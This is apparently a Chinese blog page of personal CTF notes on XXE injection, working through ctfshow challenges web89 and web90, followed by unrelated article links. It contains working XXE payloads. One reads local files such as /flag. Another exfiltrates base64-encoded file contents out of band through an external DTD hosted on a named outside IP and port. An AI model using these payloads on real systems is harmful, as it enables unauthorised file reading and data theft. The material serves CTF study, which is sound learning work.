当前位置: 首页 > news >正文

【心得】XXE漏洞利用个人笔记

XML中关于DTD类型(内部(SYSTEM)的和外部(PUBLIC)的区别)

xxe的利用


XML Entity 实体注入

当程序处理xml文件时,没有禁止对外部实体的处理,容易造成xxe漏洞

危害

主流是任意文件读取

XML 文件

一般表示带有结构的数据

祖父  3个叔父  8个堂弟堂妹   

<祖父>

    <叔父1>
        <堂兄1>
    </叔父1>

    <叔父2>
     <堂兄2>    
    </叔父2>

    <叔父3>

     <堂兄3>
    </叔父4>

</祖父>

xml格式


1 有回显时文件读取方法


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 

<root>
    <ctfshow>
        &hacker;
    </ctfshow>
</root>

例题1 web89

post传:

<?xml version="1.0" encoding="UTF-8"?>


<root>
    <ctfshow>
        hacker
    </ctfshow>
</root>

看到回显hacker

可以实现任意文件回显

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">
]> 

<root>
    <ctfshow>
        &hacker;
    </ctfshow>
</root>

 这里文件名纯靠猜,文件读取是建立在文件名已知的基础上的

2 无回显时文件读取方法

例题2 web90

 无回显点,考虑数据外带

 post传

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
    <!ENTITY  % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
    <!ENTITY  % myurl SYSTEM "http://124.222.136.33/test.dtd">
    %myurl;
]> 
<root>
1
</root>

在vps上创建文件test.dtd

test.dtd内容

<!ENTITY % dtd "<!ENTITY &#x25; vps SYSTEM 'http://124.222.136.33:1337/%file;'> ">
%dtd;
%vps;

vps监听1337端口即可

相关文章:

  • Python与GPU编程快速入门(五)
  • 机器学习中的混淆矩阵
  • window10家庭版中文转专业版流程
  • 【数据集】中国1米分辨率土地覆盖图SinoLC-1
  • git的使用
  • 【自主探索】基于 frontier_exploration 的单个机器人自主探索建图
  • NextJS开发:封装shadcn/ui中的AlertDialog确认对话框
  • web静态网页设计与制作-基于HTML+CSS+JS实现旅游摄影网站
  • 强芯铸魂,生态共赢!麒麟信安出席2023龙芯产品发布暨用户大会
  • 【经验分享】开发问题记录总结(持续更新)
  • 机器学习-线性模型·
  • 蓝桥杯每日一题2023.11.28
  • 【微服务】java 规则引擎使用详解
  • 五子棋游戏
  • leetcode:用栈实现队列(先进先出)
  • 【深度学习】参数优化和训练技巧
  • pycharm编译报错处理
  • OpenGL的学习之路 -5
  • 基于SpringBoot房产销售系统
  • 指数退避和抖动
  • 深圳中院回应“退休夫妻月入1.2万负债1.2亿”:其自述因经营不善负债
  • 广东省人大教科文卫委原主任委员梁万里被开除党籍:退休后受贿仍不知止
  • 警方通报:某博主遭勒索后自杀系自导自演,已立案调查
  • 商务部召开外贸企业圆桌会:全力为外贸企业纾困解难,提供更多支持
  • 德国将不再公布对乌克兰军事支持的细节
  • 冷冰川谈黑白